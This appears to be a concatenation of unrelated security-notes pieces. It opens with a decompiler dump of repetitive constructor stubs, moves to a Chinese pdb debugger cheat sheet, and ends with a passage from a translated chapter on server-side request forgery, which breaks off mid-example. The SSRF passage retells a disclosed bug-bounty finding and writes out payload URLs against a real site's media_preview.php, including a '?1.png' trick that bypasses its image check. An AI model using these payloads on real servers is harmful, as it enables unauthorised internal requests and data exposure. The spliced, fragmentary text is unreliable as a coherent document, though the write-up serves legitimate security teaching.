//----- (000000000000B130) ----------------------------------------------------
_QWORD *__fastcall sub_B130(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210E40;
return result;
}
// 210E40: using guessed type void (__fastcall __noreturn *off_210E40)();
//----- (000000000000B15A) ----------------------------------------------------
_QWORD *__fastcall sub_B15A(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210B58;
return result;
}
// 210B58: using guessed type void (__fastcall __noreturn *off_210B58)();
//----- (000000000000B184) ----------------------------------------------------
_QWORD *__fastcall sub_B184(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210EB8;
return result;
}
// 210EB8: using guessed type void (__fastcall __noreturn *off_210EB8)();
//----- (000000000000B1AE) ----------------------------------------------------
_QWORD *__fastcall sub_B1AE(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210C18;
return result;
}
// 210C18: using guessed type void (__fastcall __noreturn *off_210C18)();
//----- (000000000000B1D8) ----------------------------------------------------
_QWORD *__fastcall sub_B1D8(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210CC0;
return result;
}
// 210CC0: using guessed type void (__fastcall __noreturn *off_210CC0)();
//----- (000000000000B202) ----------------------------------------------------
_QWORD *__fastcall sub_B202(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210B70;
return result;
}
// 210B70: using guessed type void (__fastcall __noreturn *off_210B70)();
//----- (000000000000B22C) ----------------------------------------------------
_QWORD *__fastcall sub_B22C(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210978;
return result;
}
// 210978: using guessed type void (__fastcall __noreturn *off_210978)();
//----- (000000000000B256) ----------------------------------------------------
_QWORD *__fastcall sub_B256(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210E88;
return result;
}
// 210E88: using guessed type void (__fastcall __noreturn *off_210E88)();
//----- (000000000000B280) ----------------------------------------------------
_QWORD *__fastcall sub_B280(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210D68;
return result;
}
// 210D68: using guessed type void (__fastcall __noreturn *off_210D68)();
//----- (000000000000B2AA) ----------------------------------------------------
_QWORD *__fastcall sub_B2AA(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210960;
return result;
}
// 210960: using guessed type void (__fastcall __noreturn *off_210960)();
//----- (000000000000B2D4) ----------------------------------------------------
_QWORD *__fastcall sub_B2D4(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_211050;
return result;
}
// 211050: using guessed type void (__fastcall __noreturn *off_211050)();
//----- (000000000000B2FE) ----------------------------------------------------
_QWORD *__fastcall sub_B2FE(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_211068;
return result;
}
// 211068: using guessed type void (__fastcall __noreturn *off_211068)();
//----- (000000000000B328) ----------------------------------------------------
_QWORD *__fastcall sub_B328(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210D38;
return result;
}
// 210D38: using guessed type void (__fastcall __noreturn *off_210D38)();
//----- (000000000000B352) ----------------------------------------------------
_QWORD *__fastcall sub_B352(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210B88;
return result;
}
// 210B88: using guessed type void (__fastcall __noreturn *off_210B88)();
//----- (000000000000B37C) ----------------------------------------------------
_QWORD *__fastcall sub_B37C(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2109F0;
return result;
}
// 2109F0: using guessed type void (__fastcall __noreturn *off_2109F0)();
//----- (000000000000B3A6) ----------------------------------------------------
_QWORD *__fastcall sub_B3A6(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210600;
return result;
}
// 210600: using guessed type void (__fastcall __noreturn *off_210600)();
//----- (000000000000B3D0) ----------------------------------------------------
_QWORD *__fastcall sub_B3D0(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210E58;
return result;
}
// 210E58: using guessed type void (__fastcall __noreturn *off_210E58)();
//----- (000000000000B3FA) ----------------------------------------------------
_QWORD *__fastcall sub_B3FA(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210A68;
return result;
}
// 210A68: using guessed type void (__fastcall __noreturn *off_210A68)();
//----- (000000000000B424) ----------------------------------------------------
_QWORD *__fastcall sub_B424(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210DB0;
return result;
}
// 210DB0: using guessed type void (__fastcall __noreturn *off_210DB0)();
//----- (000000000000B44E) ----------------------------------------------------
_QWORD *__fastcall sub_B44E(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210660;
return result;
}
// 210660: using guessed type void (__fastcall __noreturn *off_210660)();
//----- (000000000000B478) ----------------------------------------------------
_QWORD *__fastcall sub_B478(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2107E0;
return result;
}
// 2107E0: using guessed type void (__fastcall __noreturn *off_2107E0)();
//----- (000000000000B4A2) ----------------------------------------------------
_QWORD *__fastcall sub_B4A2(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2106A8;
return result;
}
// 2106A8: using guessed type void (__fastcall __noreturn *off_2106A8)();
//----- (000000000000B4CC) ----------------------------------------------------
_QWORD *__fastcall sub_B4CC(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210A98;
return result;
}
// 210A98: using guessed type void (__fastcall __noreturn *off_210A98)();
//----- (000000000000B4F6) ----------------------------------------------------
_QWORD *__fastcall sub_B4F6(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210630;
return result;
}
// 210630: using guessed type void (__fastcall __noreturn *off_210630)();
//----- (000000000000B520) ----------------------------------------------------
_QWORD *__fastcall sub_B520(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210E10;
return result;
}
// 210E10: using guessed type void (__fastcall __noreturn *off_210E10)();
//----- (000000000000B54A) ----------------------------------------------------
_QWORD *__fastcall sub_B54A(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2105A0;
return result;
}
// 2105A0: using guessed type void (__fastcall __noreturn *off_2105A0)();
//----- (000000000000B574) ----------------------------------------------------
_QWORD *__fastcall sub_B574(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_211080;
return result;
}
// 211080: using guessed type void (__fastcall __noreturn *off_211080)();
//----- (000000000000B59E) ----------------------------------------------------
_QWORD *__fastcall sub_B59E(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_211008;
return result;
}
// 211008: using guessed type void (__fastcall __noreturn *off_211008)();
//----- (000000000000B5C8) ----------------------------------------------------
_QWORD *__fastcall sub_B5C8(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210AC8;
return result;
}
// 210AC8: using guessed type void (__fastcall __noreturn *off_210AC8)();
//----- (000000000000B5F2) ----------------------------------------------------
_QWORD *__fastcall sub_B5F2(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210BA0;
return result;
}
// 210BA0: using guessed type void (__fastcall __noreturn *off_210BA0)();
//----- (000000000000B61C) ----------------------------------------------------
_QWORD *__fastcall sub_B61C(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210F90;
return result;
}
// 210F90: using guessed type void (__fastcall __noreturn *off_210F90)();
//----- (000000000000B646) ----------------------------------------------------
_QWORD *__fastcall sub_B646(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2105B8;
return result;
}
// 2105B8: using guessed type void (__fastcall __noreturn *off_2105B8)();
//----- (000000000000B670) ----------------------------------------------------
_QWORD *__fastcall sub_B670(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210C00;
return result;
}
// 210C00: using guessed type void (__fastcall __noreturn *off_210C00)();
//----- (000000000000B69A) ----------------------------------------------------
_QWORD *__fastcall sub_B69A(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210900;
return result;
}
// 210900: using guessed type void (__fastcall __noreturn *off_210900)();
//----- (000000000000B6C4) ----------------------------------------------------
_QWORD *__fastcall sub_B6C4(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210798;
return result;
}
// 210798: using guessed type void (__fastcall __noreturn *off_210798)();
//----- (000000000000B6EE) ----------------------------------------------------
_QWORD *__fastcall sub_B6EE(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210BD0;
return result;
}
// 210BD0: using guessed type void (__fastcall __noreturn *off_210BD0)();
//----- (000000000000B718) ----------------------------------------------------
_QWORD *__fastcall sub_B718(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210AE0;
return result;
}
// 210AE0: using guessed type void (__fastcall __noreturn *off_210AE0)();
//----- (000000000000B742) ----------------------------------------------------
_QWORD *__fastcall sub_B742(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210720;
return result;
}
// 210720: using guessed type void (__fastcall __noreturn *off_210720)();
//----- (000000000000B76C) ----------------------------------------------------
_QWORD *__fastcall sub_B76C(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210D50;
return result;
}
// 210D50: using guessed type void (__fastcall __noreturn *off_210D50)();
//----- (000000000000B796) ----------------------------------------------------
_QWORD *__fastcall sub_B796(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2106C0;
return result;
}
// 2106C0: using guessed type void (__fastcall __noreturn *off_2106C0)();
//----- (000000000000B7C0) ----------------------------------------------------
_QWORD *__fastcall sub_B7C0(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210B28;
return result;
}
// 210B28: using guessed type void (__fastcall __noreturn *off_210B28)();
//----- (000000000000B7EA) ----------------------------------------------------
_QWORD *__fastcall sub_B7EA(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210858;
return result;
}
// 210858: using guessed type void (__fastcall __noreturn *off_210858)();
//----- (000000000000B814) ----------------------------------------------------
_QWORD *__fastcall sub_B814(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210738;
return result;
}
// 210738: using guessed type void (__fastcall __noreturn *off_210738)();
//----- (000000000000B83E) ----------------------------------------------------
_QWORD *__fastcall sub_B83E(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210678;
return result;
}
// 210678: using guessed type void (__fastcall __noreturn *off_210678)();
//----- (000000000000B868) ----------------------------------------------------
_QWORD *__fastcall sub_B868(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2105D0;
return result;
}
// 2105D0: using guessed type void (__fastcall __noreturn *off_2105D0)();
//----- (000000000000B892) ----------------------------------------------------
_QWORD *__fastcall sub_B892(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210A50;
return result;
}
// 210A50: using guessed type void (__fastcall __noreturn *off_210A50)();
//----- (000000000000B8BC) ----------------------------------------------------
_QWORD *__fastcall sub_B8BC(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210EA0;
return result;
}
// 210EA0: using guessed type void (__fastcall __noreturn *off_210EA0)();
//----- (000000000000B8E6) ----------------------------------------------------
_QWORD *__fastcall sub_B8E6(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2107F8;
return result;
}
// 2107F8: using guessed type void (__fastcall __noreturn *off_2107F8)();
//----- (000000000000B910) ----------------------------------------------------
_QWORD *__fastcall sub_B910(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2106D8;
return result;
}
// 2106D8: using guessed type void (__fastcall __noreturn *off_2106D8)();
//----- (000000000000B93A) ----------------------------------------------------
_QWORD *__fastcall sub_B93A(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2109A8;
return result;
}
// 2109A8: using guessed type void (__fastcall __noreturn *off_2109A8)();
//----- (000000000000B964) ----------------------------------------------------
_QWORD *__fastcall sub_B964(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_211020;
return result;
}
// 211020: using guessed type void (__fastcall __noreturn *off_211020)();
//----- (000000000000B98E) ----------------------------------------------------
_QWORD *__fastcall sub_B98E(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210FF0;
return result;
}
// 210FF0: using guessed type void (__fastcall __noreturn *off_210FF0)();
//----- (000000000000B9B8) ----------------------------------------------------
_QWORD *__fastcall sub_B9B8(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210A80;
return result;
}
// 210A80: using guessed type void (__fastcall __noreturn *off_210A80)();
//----- (000000000000B9E2) ----------------------------------------------------
_QWORD *__fastcall sub_B9E2(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210C90;
return result;
}
// 210C90: using guessed type void (__fastcall __noreturn *off_210C90)();
//----- (000000000000BA0C) ----------------------------------------------------
_QWORD *__fastcall sub_BA0C(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210C60;
return result;
}
// 210C60: using guessed type void (__fastcall __noreturn *off_210C60)();
//----- (000000000000BA36) ----------------------------------------------------
_QWORD *__fastcall sub_BA36(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210EE8;
return result;
}
// 210EE8: using guessed type void (__fastcall __noreturn *off_210EE8)();
//----- (000000000000BA60) ----------------------------------------------------
_QWORD *__fastcall sub_BA60(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210A38;
return result;
}
// 210A38: using guessed type void (__fastcall __noreturn *off_210A38)();
//----- (000000000000BA8A) ----------------------------------------------------
_QWORD *__fastcall sub_BA8A(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210A20;
return result;
}
// 210A20: using guessed type void (__fastcall __noreturn *off_210A20)();
//----- (000000000000BAB4) ----------------------------------------------------
_QWORD *__fastcall sub_BAB4(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210DF8;
return result;
}
// 210DF8: using guessed type void (__fastcall __noreturn *off_210DF8)();
//----- (000000000000BADE) ----------------------------------------------------
_QWORD *__fastcall sub_BADE(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210AB0;
return result;
}
// 210AB0: using guessed type void (__fastcall __noreturn *off_210AB0)();
//----- (000000000000BB08) ----------------------------------------------------
_QWORD *__fastcall sub_BB08(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210708;
return result;
}
// 210708: using guessed type void (__fastcall __noreturn *off_210708)();
//----- (000000000000BB32) ----------------------------------------------------
_QWORD *__fastcall sub_BB32(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2109D8;
return result;
}
// 2109D8: using guessed type void (__fastcall __noreturn *off_2109D8)();
//----- (000000000000BB5C) ----------------------------------------------------
_QWORD *__fastcall sub_BB5C(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210DE0;
return result;
}
// 210DE0: using guessed type void (__fastcall __noreturn *off_210DE0)();
//----- (000000000000BB86) ----------------------------------------------------
_QWORD *__fastcall sub_BB86(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210888;
return result;
}
// 210888: using guessed type void (__fastcall __noreturn *off_210888)();
//----- (000000000000BBB0) ----------------------------------------------------
_QWORD *__fastcall sub_BBB0(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210930;
return result;
}
// 210930: using guessed type void (__fastcall __noreturn *off_210930)();
//----- (000000000000BBDA) ----------------------------------------------------
_QWORD *__fastcall sub_BBDA(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210D20;
return result;
}
// 210D20: using guessed type void (__fastcall __noreturn *off_210D20)();
//----- (000000000000BC04) ----------------------------------------------------
_QWORD *__fastcall sub_BC04(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_211098;
return result;
}
// 211098: using guessed type void (__fastcall __noreturn *off_211098)();
//----- (000000000000BC2E) ----------------------------------------------------
_QWORD *__fastcall sub_BC2E(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210B10;
return result;
}
// 210B10: using guessed type void (__fastcall __noreturn *off_210B10)();
//----- (000000000000BC58) ----------------------------------------------------
_QWORD *__fastcall sub_BC58(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210DC8;
return result;
}
// 210DC8: using guessed type void (__fastcall __noreturn *off_210DC8)();
//----- (000000000000BC82) ----------------------------------------------------
_QWORD *__fastcall sub_BC82(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2110C8;
return result;
}
// 2110C8: using guessed type void (__fastcall __noreturn *off_2110C8)();
//----- (000000000000BCAC) ----------------------------------------------------
_QWORD *__fastcall sub_BCAC(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210618;
return result;
}
// 210618: using guessed type void (__fastcall __noreturn *off_210618)();
//----- (000000000000BCD6) ----------------------------------------------------
_QWORD *__fastcall sub_BCD6(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210CD8;
return result;
}
// 210CD8: using guessed type void (__fastcall __noreturn *off_210CD8)();
//----- (000000000000BD00) ----------------------------------------------------
_QWORD *__fastcall sub_BD00(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2106F0;
return result;
}
// 2106F0: using guessed type void (__fastcall __noreturn *off_2106F0)();
//----- (000000000000BD2A) ----------------------------------------------------
_QWORD *__fastcall sub_BD2A(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210FA8;
return result;
}
// 210FA8: using guessed type void (__fastcall __noreturn *off_210FA8)();
//----- (000000000000BD54) ----------------------------------------------------
_QWORD *__fastcall sub_BD54(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210750;
return result;
}
// 210750: using guessed type void (__fastcall __noreturn *off_210750)();
//----- (000000000000BD7E) ----------------------------------------------------
_QWORD *__fastcall sub_BD7E(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210948;
return result;
}
// 210948: using guessed type void (__fastcall __noreturn *off_210948)();
//----- (000000000000BDA8) ----------------------------------------------------
_QWORD *__fastcall sub_BDA8(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210F48;
return result;
}
// 210F48: using guessed type void (__fastcall __noreturn *off_210F48)();
//----- (000000000000BDD2) ----------------------------------------------------
_QWORD *__fastcall sub_BDD2(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2107C8;
return result;
}
// 2107C8: using guessed type void (__fastcall __noreturn *off_2107C8)();
//----- (000000000000BDFC) ----------------------------------------------------
_QWORD *__fastcall sub_BDFC(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210C78;
return result;
}
// 210C78: using guessed type void (__fastcall __noreturn *off_210C78)();
//----- (000000000000BE26) ----------------------------------------------------
_QWORD *__fastcall sub_BE26(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2109C0;
return result;
}
// 2109C0: using guessed type void (__fastcall __noreturn *off_2109C0)();
//----- (000000000000BE50) ----------------------------------------------------
_QWORD *__fastcall sub_BE50(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210648;
return result;
}
// 210648: using guessed type void (__fastcall __noreturn *off_210648)();
//----- (000000000000BE7A) ----------------------------------------------------
_QWORD *__fastcall sub_BE7A(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2107B0;
return result;
}
// 2107B0: using guessed type void (__fastcall __noreturn *off_2107B0)();
//----- (000000000000BEA4) ----------------------------------------------------
_QWORD *__fastcall sub_BEA4(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210C48;
return result;
}
// 210C48: using guessed type void (__fastcall __noreturn *off_210C48)();
//----- (000000000000BECE) ----------------------------------------------------
_QWORD *__fastcall sub_BECE(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210BE8;
return result;
}
// 210BE8: using guessed type void (__fastcall __noreturn *off_210BE8)();
//----- (000000000000BEF8) ----------------------------------------------------
_QWORD *__fastcall sub_BEF8(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210F18;
return result;
}
// 210F18: using guessed type void (__fastcall __noreturn *off_210F18)();
//----- (000000000000BF22) ----------------------------------------------------
_QWORD *__fastcall sub_BF22(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210918;
return result;
}
// 210918: using guessed type void (__fastcall __noreturn *off_210918)();
//----- (000000000000BF4C) ----------------------------------------------------
_QWORD *__fastcall sub_BF4C(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210ED0;
return result;
}
// 210ED0: using guessed type void (__fastcall __noreturn *off_210ED0)();
//----- (000000000000BF76) ----------------------------------------------------
_QWORD *__fastcall sub_BF76(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210F30;
return result;
}
// 210F30: using guessed type void (__fastcall __noreturn *off_210F30)();
//----- (000000000000BFA0) ----------------------------------------------------
_QWORD *__fastcall sub_BFA0(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210870;
return result;
}
// 210870: using guessed type void (__fastcall __noreturn *off_210870)();
//----- (000000000000BFCA) ----------------------------------------------------
_QWORD *__fastcall sub_BFCA(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210FC0;
return result;
}
// 210FC0: using guessed type void (__fastcall __noreturn *off_210FC0)();
//----- (000000000000BFF4) ----------------------------------------------------
_QWORD *__fastcall sub_BFF4(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210570;
return result;
}
// 210570: using guessed type void (__fastcall __noreturn *off_210570)();
//----- (000000000000C01E) ----------------------------------------------------
_QWORD *__fastcall sub_C01E(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210588;
return result;
}
// 210588: using guessed type void (__fastcall __noreturn *off_210588)();
//----- (000000000000C048) ----------------------------------------------------
_QWORD *__fastcall sub_C048(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2110E0;
return result;
}
// 2110E0: using guessed type void (__fastcall __noreturn *off_2110E0)();
//----- (000000000000C072) ----------------------------------------------------
_QWORD *__fastcall sub_C072(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210FD8;
return result;
}
// 210FD8: using guessed type void (__fastcall __noreturn *off_210FD8)();
//----- (000000000000C09C) ----------------------------------------------------
_QWORD *__fastcall sub_C09C(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210690;
return result;
}
// 210690: using guessed type void (__fastcall __noreturn *off_210690)();
//----- (000000000000C0C6) ----------------------------------------------------
_QWORD *__fastcall sub_C0C6(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210810;
return result;
}
// 210810: using guessed type void (__fastcall __noreturn *off_210810)();
//----- (000000000000C0F0) ----------------------------------------------------
_QWORD *__fastcall sub_C0F0(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210828;
return result;
}
// 210828: using guessed type void (__fastcall __noreturn *off_210828)();
//----- (000000000000C120) ----------------------------------------------------
void __fastcall init(unsigned int a1, __int64 a2, __int64 a3)
{
__int64 v3; // r15
signed __int64 v4; // rbp
__int64 v5; // rbx
v3 = a3;
v4 = &off_210558 - off_210548;
init_proc();
if ( v4 )
{
v5 = 0LL;
do
((void (__fastcall *)(_QWORD, __int64, __int64))off_210548[v5++])(a1, a2, v3);
while ( v4 != v5 );
}
}
// 210548: using guessed type __int64 (__fastcall *off_210548[3])();
// 210558: using guessed type __int64 (__fastcall *off_210558)();
//----- (000000000000C194) ----------------------------------------------------
void term_proc()
{
;
}
#error "There were 1 decompilation failure(s) on 264 function(s)"
|
sec-knowleage
|
# pdb
---
## Pdb命令列表
```
h: (help) 帮助
c: (continue) 继续执行
w: (where) 显示当前正在执行的代码行的上下文信息
a: (args) 打印当前函数的参数列表
s: (step) 执行当前代码行,并停在第一个能停的地方(相当于单步进入)
n: (next) 继续执行到当前函数的下一行,或者当前行直接返回(单步跳过)
d: (down) 执行跳转到在当前堆栈的深一层
u: (up) 执行跳转到当前堆栈的上一层
l: (list) 列出源码
r: (return) 执行当前运行函数到结束
b: (break) 添加断点
p expression: (print) 输出expression的值
pp expression: 好看一点的p expression
q: (quit) 退出debug
单步跳过(next)和单步进入(step)的区别:
单步进入会进入当前行调用的函数内部并停在里面;
单步跳过会(几乎)全速执行完当前行调用的函数,并停在当前函数的下一行。
```
## 配置环境
**单步调试**
```bash
git clone https://github.com/ffffffff0x/name-fuzz.git
pip3 install pyreadline pypinyin
cd name-fuzz
python3 -m pdb name-fuzz.py
```
**设置断点**
```python
import pdb
s = '0'
n = int(s)
pdb.set_trace() #运行到这里会自动暂停
print(10/n)
```
运行上面的脚本在print前自动暂停调试
---
## Source & Reference
- [Flask debug 模式 PIN 码生成机制安全性研究笔记](https://zhuanlan.zhihu.com/p/32336971)
- [Python 调试器之pdb](https://www.cnblogs.com/xiaohai2003ly/p/8529472.html)
|
sec-knowleage
|
# 十七、服务端请求伪造
> 作者:Peter Yaworski
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
## 描述
服务端请求伪造,或者 SSRF,是一种类型,它允许攻击者使用目标服务器来代表攻击者自己执行 HTTP 请求。这和 CSRF 类似,因为两个漏洞都执行了 HTTP 请求,而不被受害者察觉。在 SSRF 中,受害者是漏洞服务器,在 CSRF 中,它是用户的浏览器。
这里的潜力非常大,包括:
+ 信息暴露,其中我们欺骗服务器来暴露关于自身的信息,在示例 1 中使用 AWS EC2 元数据描述。
+ XSS,如果我们让服务器渲染远程 HTML 文件,其中带有 JavaScript。
## 示例
### 1\. ESEA SSRF 和 AWS 元数据请求
难度:中
URL:`https://play.esea.net/global/media_preview.php?url=`
报告链接:`http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/`
报告日期:2016.4.18
奖金:$1000
描述:
电子运动娱乐联盟 (ESEA) 是一个电子运动视频竞技比赛的社区,由 ESEA 建立。最近他们启动了一个漏洞奖励计划,Brett Buerhaus 在上面发现了一个不错的 SSRF 漏洞。
使用 Google Dorking,Brett 搜索`site:https://play.esea.net/ ext:php`。这让 Google 在`play.esea.net`域中搜索 PHP 文件。查询结果包括`https://play.esea.net/global/media_preview.php?url=`。
看看这个 URL,似乎 ESEA 从外部站点渲染内容。在寻找 SSRF 的时候,这是一个危险标志。像他描述的那样,Brett 尝试它自己的域名:`https://play.esea.net/global/media_preview.php?url=http://ziot.org`。但是没有作用,结果,ESEA 寻找图片文件,所以它尝试包含图片的载荷。首先使用 Google 作为域名,之后是它自己的,`https://play.esea.net/global/media_preview.php?url=http://ziot.org/1.png`。
成功了。
现在,这里真实的漏洞是,欺骗服务器渲染其它内容,而不是预设的图片。在他的博文中,Brett 描述了通常的技巧,例如使用空字符(`%00`),额外的斜杠以及问号来绕过或欺骗后端。在它的例子中,它向 URL 添加了`?`:`https://play.esea.net/global/media_preview.php?url=http://ziot.org/?1.png`。
它所做的就是将前面的文件路径,`1.png`转换为参数,并且不是实际要渲染的 URL 的一部分。因此,ESEA 渲染了它的页面。换句话说,它绕过了第一个测试的额外检查。
